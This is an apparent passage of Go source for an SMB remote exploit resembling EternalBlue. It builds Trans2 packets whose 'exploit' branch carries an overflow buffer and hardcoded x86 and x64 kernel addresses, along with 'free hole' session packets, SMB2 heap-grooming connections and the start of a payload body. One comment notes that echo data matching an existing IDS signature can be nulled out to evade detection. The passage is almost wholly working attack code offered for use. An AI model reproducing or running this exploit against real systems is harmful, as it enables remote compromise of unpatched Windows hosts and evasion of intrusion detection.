buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// Trans2 request
buf.WriteByte(0x33)
// NT success
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// flags
buf.WriteByte(0x18)
// flags2
buf.Write([]byte{0x07, 0xC0})
// PID high
buf.Write([]byte{0x00, 0x00})
// signature1
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// signature2
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// reserved
buf.Write([]byte{0x00, 0x00})
// tree id
treeIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(treeIDBuf, treeID)
buf.Write(treeIDBuf)
// PID
buf.Write([]byte{0xFF, 0xFE})
// user id
userIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(userIDBuf, userID)
buf.Write(userIDBuf)
// multiplex id
buf.Write([]byte{0x40, 0x00})
// --------Trans2 Second Request--------
// word count
buf.WriteByte(0x09)
// total param count
buf.Write([]byte{0x00, 0x00})
// total data count
buf.Write([]byte{0x00, 0x10})
// max param count
buf.Write([]byte{0x00, 0x00})
// max data count
buf.Write([]byte{0x00, 0x00})
// max setup count
buf.WriteByte(0x00)
// reserved
buf.WriteByte(0x00)
// flags
buf.Write([]byte{0x00, 0x10})
// timeouts
buf.Write([]byte{0x35, 0x00, 0xD0})
// timeout is a single int
buf.WriteByte(byte(timeout))
// reserved
buf.Write([]byte{0x00, 0x00})
// parameter count
buf.Write([]byte{0x00, 0x10})
switch typ {
case "exploit":
// overflow
buf.Write(bytes.Repeat([]byte{0x41}, 2957))
buf.Write([]byte{0x80, 0x00, 0xA8, 0x00})
buf.Write(makeZero(0x10))
buf.Write([]byte{0xFF, 0xFF})
buf.Write(makeZero(0x06))
buf.Write([]byte{0xFF, 0xFF})
buf.Write(makeZero(0x16))
// x86 addresses
buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF})
buf.Write(makeZero(0x08))
buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF})
// x64 addresses
buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
buf.Write([]byte{0x60, 0x00, 0x04, 0x10})
buf.Write(makeZero(0x04))
buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF})
buf.Write(makeZero(0x04))
buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
buf.Write(makeZero(0x10))
buf.Write([]byte{0x60, 0x00, 0x04, 0x10})
buf.Write(makeZero(0x0C))
buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
buf.Write(makeZero(0x08))
buf.Write([]byte{0x80, 0x10})
buf.Write(makeZero(0x0E))
buf.WriteByte(0x39)
buf.WriteByte(0xBB)
buf.Write(bytes.Repeat([]byte{0x41}, 965))
case "zero":
buf.Write(makeZero(2055))
buf.Write([]byte{0x83, 0xF3})
buf.Write(bytes.Repeat([]byte{0x41}, 2039))
default:
buf.Write(bytes.Repeat([]byte{0x41}, 4096))
}
return buf.Bytes()
}
func makeSMB1EchoPacket(treeID, userID uint16) []byte {
buf := bytes.Buffer{}
// --------NetBIOS Session Service--------
// message type
buf.WriteByte(0x00)
// length
buf.Write([]byte{0x00, 0x00, 0x31})
// --------Server Message Block Protocol--------
// SMB1
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// Echo
buf.WriteByte(0x2B)
// NT success
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// flags
buf.WriteByte(0x18)
// flags2
buf.Write([]byte{0x07, 0xC0})
// PID high
buf.Write([]byte{0x00, 0x00})
// signature1
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// signature2
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// reserved
buf.Write([]byte{0x00, 0x00})
// tree id
treeIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(treeIDBuf, treeID)
buf.Write(treeIDBuf)
// PID
buf.Write([]byte{0xFF, 0xFE})
// user id
userIDBuf := make([]byte, 2)
binary.LittleEndian.PutUint16(userIDBuf, userID)
buf.Write(userIDBuf)
// multiplex id
buf.Write([]byte{0x40, 0x00})
// --------Echo Request--------
// word count
buf.WriteByte(0x01)
// echo count
buf.Write([]byte{0x01, 0x00})
// byte count
buf.Write([]byte{0x0C, 0x00})
// echo data
// this is an existing IDS signature, and can be null out
buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00})
return buf.Bytes()
}
func smb1FreeHole(address string, start bool) (net.Conn, error) {
conn, err := net.Dial("tcp", address)
if err != nil {
return nil, fmt.Errorf("failed to connect host: %s", err)
}
var ok bool
defer func() {
if !ok {
_ = conn.Close()
}
}()
err = smbClientNegotiate(conn)
if err != nil {
return nil, fmt.Errorf("failed to negotiate: %s", err)
}
var (
flags2 []byte
vcNum []byte
nativeOS []byte
)
if start {
flags2 = []byte{0x07, 0xC0}
vcNum = []byte{0x2D, 0x01}
nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00}
} else {
flags2 = []byte{0x07, 0x40}
vcNum = []byte{0x2C, 0x01}
nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00}
}
packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS)
_, err = conn.Write(packet)
if err != nil {
const format = "failed to send smb1 free hole session packet: %s"
return nil, fmt.Errorf(format, err)
}
_, _, err = smb1GetResponse(conn)
if err != nil {
return nil, err
}
ok = true
return conn, nil
}
func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte {
buf := bytes.Buffer{}
// --------NetBIOS Session Service--------
// message type
buf.WriteByte(0x00)
// length
buf.Write([]byte{0x00, 0x00, 0x51})
// --------Server Message Block Protocol--------
// SMB1
buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42})
// Session Setup AndX
buf.WriteByte(0x73)
// NT success
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// flags
buf.WriteByte(0x18)
// flags2
buf.Write(flags2)
// PID high
buf.Write([]byte{0x00, 0x00})
// signature1
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// signature2
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// reserved
buf.Write([]byte{0x00, 0x00})
// tree id
buf.Write([]byte{0x00, 0x00})
// PID
buf.Write([]byte{0xFF, 0xFE})
// user id
buf.Write([]byte{0x00, 0x00})
// multiplex id
buf.Write([]byte{0x40, 0x00})
// --------Session Setup AndX Request--------
// word count
buf.WriteByte(0x0C)
// no further commands
buf.WriteByte(0xFF)
// reserved
buf.WriteByte(0x00)
// AndX offset
buf.Write([]byte{0x00, 0x00})
// max buffer
buf.Write([]byte{0x04, 0x11})
// max mpx count
buf.Write([]byte{0x0A, 0x00})
// VC number
buf.Write(vcNum)
// session key
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// security blob length
buf.Write([]byte{0x00, 0x00})
// reserved
buf.Write([]byte{0x00, 0x00, 0x00, 0x00})
// capabilities
buf.Write([]byte{0x00, 0x00, 0x00, 0x80})
// byte count
buf.Write([]byte{0x16, 0x00})
// Native OS
buf.Write(nativeOS)
// extra byte params
buf.Write(makeZero(17))
return buf.Bytes()
}
func smb2Grooms(address string, grooms int) ([]net.Conn, error) {
header := makeSMB2Header()
var (
conns []net.Conn
ok bool
)
defer func() {
if ok {
return
}
for i := 0; i < len(conns); i++ {
_ = conns[i].Close()
}
}()
for i := 0; i < grooms; i++ {
conn, err := net.Dial("tcp", address)
if err != nil {
return nil, fmt.Errorf("failed to connect target: %s", err)
}
_, err = conn.Write(header)
if err != nil {
return nil, fmt.Errorf("failed to send SMB2 header: %s", err)
}
conns = append(conns, conn)
}
ok = true
return conns, nil
}
func makeSMB2Header() []byte {
buf := bytes.Buffer{}
buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE})
buf.WriteString("SMB")
buf.Write(makeZero(124))
return buf.Bytes()
}
const (
packetMaxLen = 4204
packetSetupLen = 497
)
func makeSMB2Body(payload []byte) []byte {
const packetMaxPayload = packetMaxLen - packetSetupLen
// padding
buf := bytes.Buffer{}
buf.Write(makeZero(0x08))